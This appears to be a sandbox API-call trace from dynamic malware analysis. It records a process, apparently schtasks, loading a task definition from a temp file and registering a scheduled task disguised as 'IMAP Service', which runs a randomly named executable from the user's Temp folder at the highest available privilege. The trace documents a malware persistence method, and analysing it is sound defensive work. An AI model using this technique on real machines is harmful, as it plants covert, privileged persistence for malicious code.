[0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|s|") returned 3
[0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.879] lstrlenW (lpString="|s|") returned 3
[0175.879] lstrlenW (lpString="|xml|") returned 5
[0175.879] SetLastError (dwErrCode=0x490)
[0175.879] lstrlenW (lpString="u") returned 1
[0175.879] lstrlenW (lpString="u") returned 1
[0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] lstrlenW (lpString="xml") returned 3
[0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|u|") returned 3
[0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.879] lstrlenW (lpString="|u|") returned 3
[0175.879] lstrlenW (lpString="|xml|") returned 5
[0175.879] SetLastError (dwErrCode=0x490)
[0175.879] lstrlenW (lpString="p") returned 1
[0175.879] lstrlenW (lpString="p") returned 1
[0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] lstrlenW (lpString="xml") returned 3
[0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|p|") returned 3
[0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.879] lstrlenW (lpString="|p|") returned 3
[0175.879] lstrlenW (lpString="|xml|") returned 5
[0175.879] SetLastError (dwErrCode=0x490)
[0175.879] lstrlenW (lpString="ru") returned 2
[0175.879] lstrlenW (lpString="ru") returned 2
[0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] lstrlenW (lpString="xml") returned 3
[0175.879] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.879] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ru|") returned 4
[0175.879] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.879] lstrlenW (lpString="|ru|") returned 4
[0175.879] lstrlenW (lpString="|xml|") returned 5
[0175.879] SetLastError (dwErrCode=0x490)
[0175.879] lstrlenW (lpString="rp") returned 2
[0175.879] lstrlenW (lpString="rp") returned 2
[0175.879] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] lstrlenW (lpString="xml") returned 3
[0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|rp|") returned 4
[0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.880] lstrlenW (lpString="|rp|") returned 4
[0175.880] lstrlenW (lpString="|xml|") returned 5
[0175.880] SetLastError (dwErrCode=0x490)
[0175.880] lstrlenW (lpString="sc") returned 2
[0175.880] lstrlenW (lpString="sc") returned 2
[0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] lstrlenW (lpString="xml") returned 3
[0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sc|") returned 4
[0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.880] lstrlenW (lpString="|sc|") returned 4
[0175.880] lstrlenW (lpString="|xml|") returned 5
[0175.880] SetLastError (dwErrCode=0x490)
[0175.880] lstrlenW (lpString="mo") returned 2
[0175.880] lstrlenW (lpString="mo") returned 2
[0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] lstrlenW (lpString="xml") returned 3
[0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|mo|") returned 4
[0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.880] lstrlenW (lpString="|mo|") returned 4
[0175.880] lstrlenW (lpString="|xml|") returned 5
[0175.880] SetLastError (dwErrCode=0x490)
[0175.880] lstrlenW (lpString="d") returned 1
[0175.880] lstrlenW (lpString="d") returned 1
[0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] lstrlenW (lpString="xml") returned 3
[0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|d|") returned 3
[0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.880] lstrlenW (lpString="|d|") returned 3
[0175.880] lstrlenW (lpString="|xml|") returned 5
[0175.880] SetLastError (dwErrCode=0x490)
[0175.880] lstrlenW (lpString="m") returned 1
[0175.880] lstrlenW (lpString="m") returned 1
[0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] lstrlenW (lpString="xml") returned 3
[0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|m|") returned 3
[0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.880] lstrlenW (lpString="|m|") returned 3
[0175.880] lstrlenW (lpString="|xml|") returned 5
[0175.880] SetLastError (dwErrCode=0x490)
[0175.880] lstrlenW (lpString="i") returned 1
[0175.880] lstrlenW (lpString="i") returned 1
[0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.880] lstrlenW (lpString="xml") returned 3
[0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|i|") returned 3
[0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.881] lstrlenW (lpString="|i|") returned 3
[0175.881] lstrlenW (lpString="|xml|") returned 5
[0175.881] SetLastError (dwErrCode=0x490)
[0175.881] lstrlenW (lpString="tn") returned 2
[0175.881] lstrlenW (lpString="tn") returned 2
[0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] lstrlenW (lpString="xml") returned 3
[0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4
[0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.881] lstrlenW (lpString="|tn|") returned 4
[0175.881] lstrlenW (lpString="|xml|") returned 5
[0175.881] SetLastError (dwErrCode=0x490)
[0175.881] lstrlenW (lpString="tr") returned 2
[0175.881] lstrlenW (lpString="tr") returned 2
[0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] lstrlenW (lpString="xml") returned 3
[0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tr|") returned 4
[0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.881] lstrlenW (lpString="|tr|") returned 4
[0175.881] lstrlenW (lpString="|xml|") returned 5
[0175.881] SetLastError (dwErrCode=0x490)
[0175.881] lstrlenW (lpString="st") returned 2
[0175.881] lstrlenW (lpString="st") returned 2
[0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] lstrlenW (lpString="xml") returned 3
[0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|st|") returned 4
[0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.881] lstrlenW (lpString="|st|") returned 4
[0175.881] lstrlenW (lpString="|xml|") returned 5
[0175.881] SetLastError (dwErrCode=0x490)
[0175.881] lstrlenW (lpString="sd") returned 2
[0175.881] lstrlenW (lpString="sd") returned 2
[0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] lstrlenW (lpString="xml") returned 3
[0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sd|") returned 4
[0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.881] lstrlenW (lpString="|sd|") returned 4
[0175.881] lstrlenW (lpString="|xml|") returned 5
[0175.881] SetLastError (dwErrCode=0x490)
[0175.881] lstrlenW (lpString="ed") returned 2
[0175.881] lstrlenW (lpString="ed") returned 2
[0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] lstrlenW (lpString="xml") returned 3
[0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ed|") returned 4
[0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.881] lstrlenW (lpString="|ed|") returned 4
[0175.882] lstrlenW (lpString="|xml|") returned 5
[0175.882] SetLastError (dwErrCode=0x490)
[0175.882] lstrlenW (lpString="it") returned 2
[0175.882] lstrlenW (lpString="it") returned 2
[0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] lstrlenW (lpString="xml") returned 3
[0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|it|") returned 4
[0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.882] lstrlenW (lpString="|it|") returned 4
[0175.882] lstrlenW (lpString="|xml|") returned 5
[0175.882] SetLastError (dwErrCode=0x490)
[0175.882] lstrlenW (lpString="et") returned 2
[0175.882] lstrlenW (lpString="et") returned 2
[0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] lstrlenW (lpString="xml") returned 3
[0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|et|") returned 4
[0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.882] lstrlenW (lpString="|et|") returned 4
[0175.882] lstrlenW (lpString="|xml|") returned 5
[0175.882] SetLastError (dwErrCode=0x490)
[0175.882] lstrlenW (lpString="k") returned 1
[0175.882] lstrlenW (lpString="k") returned 1
[0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] lstrlenW (lpString="xml") returned 3
[0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|k|") returned 3
[0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.882] lstrlenW (lpString="|k|") returned 3
[0175.882] lstrlenW (lpString="|xml|") returned 5
[0175.882] SetLastError (dwErrCode=0x490)
[0175.882] lstrlenW (lpString="du") returned 2
[0175.882] lstrlenW (lpString="du") returned 2
[0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] lstrlenW (lpString="xml") returned 3
[0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|du|") returned 4
[0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.882] lstrlenW (lpString="|du|") returned 4
[0175.882] lstrlenW (lpString="|xml|") returned 5
[0175.882] SetLastError (dwErrCode=0x490)
[0175.882] lstrlenW (lpString="ri") returned 2
[0175.882] lstrlenW (lpString="ri") returned 2
[0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] lstrlenW (lpString="xml") returned 3
[0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ri|") returned 4
[0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.882] lstrlenW (lpString="|ri|") returned 4
[0175.882] lstrlenW (lpString="|xml|") returned 5
[0175.882] SetLastError (dwErrCode=0x490)
[0175.882] lstrlenW (lpString="z") returned 1
[0175.882] lstrlenW (lpString="z") returned 1
[0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] lstrlenW (lpString="xml") returned 3
[0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|z|") returned 3
[0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.883] lstrlenW (lpString="|z|") returned 3
[0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|v1|") returned 4
[0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5
[0175.883] StrStrIW (lpFirst="|xml|", lpSrch="|xml|") returned="|xml|"
[0175.883] SetLastError (dwErrCode=0x0)
[0175.883] SetLastError (dwErrCode=0x0)
[0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.883] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0
[0175.883] SetLastError (dwErrCode=0x490)
[0175.883] SetLastError (dwErrCode=0x490)
[0175.883] SetLastError (dwErrCode=0x0)
[0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.883] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp"
[0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.883] _memicmp (_Buf1=0x4e4c68, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] _memicmp (_Buf1=0x4e4c98, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.883] SetLastError (dwErrCode=0x7a)
[0175.883] SetLastError (dwErrCode=0x0)
[0175.883] SetLastError (dwErrCode=0x0)
[0175.883] lstrlenW (lpString="C") returned 1
[0175.883] SetLastError (dwErrCode=0x490)
[0175.883] SetLastError (dwErrCode=0x0)
[0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.883] SetLastError (dwErrCode=0x0)
[0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.884] SetLastError (dwErrCode=0x0)
[0175.884] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
[0175.889] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
[0175.894] CoCreateInstance (in: rclsid=0xc2230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xc220fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x14d25c | out: ppv=0x14d25c*=0x2c3d70) returned 0x0
[0176.805] TaskScheduler:ITaskService:Connect (This=0x2c3d70, serverName=0x14d1cc*(varType=0x8, wReserved1=0x0, wReserved2=0xd240, wReserved3=0x14, varVal1=0x0, varVal2=0x14db10), user=0x14d1dc*(varType=0x0, wReserved1=0x14, wReserved2=0xd264, wReserved3=0x14, varVal1=0x76679cde, varVal2=0x14db10), domain=0x14d1ec*(varType=0x0, wReserved1=0x0, wReserved2=0x1f8, wReserved3=0x0, varVal1=0x2, varVal2=0x0), password=0x14d1fc*(varType=0x0, wReserved1=0x0, wReserved2=0x9c39, wReserved3=0x7667, varVal1=0x78, varVal2=0x14dc90)) returned 0x0
[0176.807] TaskScheduler:IUnknown:AddRef (This=0x2c3d70) returned 0x2
[0176.807] TaskScheduler:ITaskService:GetFolder (in: This=0x2c3d70, Path=0x0, ppFolder=0x14d300 | out: ppFolder=0x14d300*=0x2c3dd8) returned 0x0
[0176.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x108
[0176.808] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x14cbf0 | out: lpFileSize=0x14cbf0*=1334) returned 1
[0176.808] ReadFile (in: hFile=0x108, lpBuffer=0x14cbf8, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x14cc00, lpOverlapped=0x0 | out: lpBuffer=0x14cbf8*, lpNumberOfBytesRead=0x14cc00*=0x2, lpOverlapped=0x0) returned 1
[0176.808] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0176.808] ReadFile (in: hFile=0x108, lpBuffer=0x2c2678, nNumberOfBytesToRead=0x537, lpNumberOfBytesRead=0x14cc00, lpOverlapped=0x0 | out: lpBuffer=0x2c2678*, lpNumberOfBytesRead=0x14cc00*=0x536, lpOverlapped=0x0) returned 1
[0176.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2c2678, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1335
[0176.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2c2678, cbMultiByte=-1, lpWideCharStr=0x4f55b4, cchWideChar=1335 | out: lpWideCharStr="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 1335
[0176.808] SysStringLen (param_1="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 0x536
[0176.808] VarBstrCat (in: bstrLeft=0x0, bstrRight="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n", pbstrResult=0x14cba0 | out: pbstrResult=0x14cba0) returned 0x0
[0176.808] CloseHandle (hObject=0x108) returned 1
[0176.808] lstrlenW (lpString="") returned 0
[0176.808] SysStringLen (param_1="") returned 0x0
[0176.808] lstrlenW (lpString="") returned 0
[0176.821] ITaskFolder:RegisterTask (in: This=0x2c3dd8, Path="IMAP Service", XmlText="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n", flags=6, UserId=0x14cbdc*(varType=0x8, wReserved1=0x0, wReserved2=0x4190, wReserved3=0x4f, varVal1="", varVal2=0x4f4190), password=0x14cbec*(varType=0x0, wReserved1=0x4f, wReserved2=0x0, wReserved3=0x0, varVal1=0x14cc74, varVal2=0x775e7526), LogonType=0, sddl=0x14cc00*(varType=0x0, wReserved1=0x4f, wReserved2=0x4190, wReserved3=0x4f, varVal1=0x0, varVal2=0x0), ppTask=0x14cc60 | out: ppTask=0x14cc60*=0x2c3e40) returned 0x0
[0177.416] _memicmp (_Buf1=0x4e4c08, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0177.416] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x4e6658, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40
[0177.416] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64
[0177.416] _vsnwprintf (in: _Buffer=0x14cc6c, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x14cc10 | out: _Buffer="SUCCESS: The scheduled task \"IMAP Service\" has successfully been created.\n") returned 74
[0177.416] _fileno (_File=0x76712920) returned 1
[0177.416] _errno () returned 0x2c07d8
[0177.416] _get_osfhandle (_FileHandle=1) returned 0x7
[0177.416] _errno () returned 0x2c07d8
[0177.416] GetFileType (hFile=0x7) returned 0x2
[0177.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0177.416] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14cbd4 | out: lpMode=0x14cbd4) returned 1
[0177.417] __iob_func () returned 0x76712900
[0177.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0177.417] lstrlenW (lpString="SUCCESS: The scheduled task \"IMAP Service\" has successfully been created.\n") returned 74
[0177.417] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x14cc6c*, nNumberOfCharsToWrite=0x4a, lpNumberOfCharsWritten=0x14cbfc, lpReserved=0x0 | out: lpBuffer=0x14cc6c*, lpNumberOfCharsWritten=0x14cbfc*=0x4a) returned 1
[0178.076] IUnknown:Release (This=0x2c3e40) returned 0x0
[0178.076] IUnknown:Release (This=0x2c3dd8) returned 0x0
[0178.076] TaskScheduler:IUnknown:Release (This=0x2c3d70) returned 0x1
[0178.076] lstrlenW (lpString="") returned 0
[0178.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
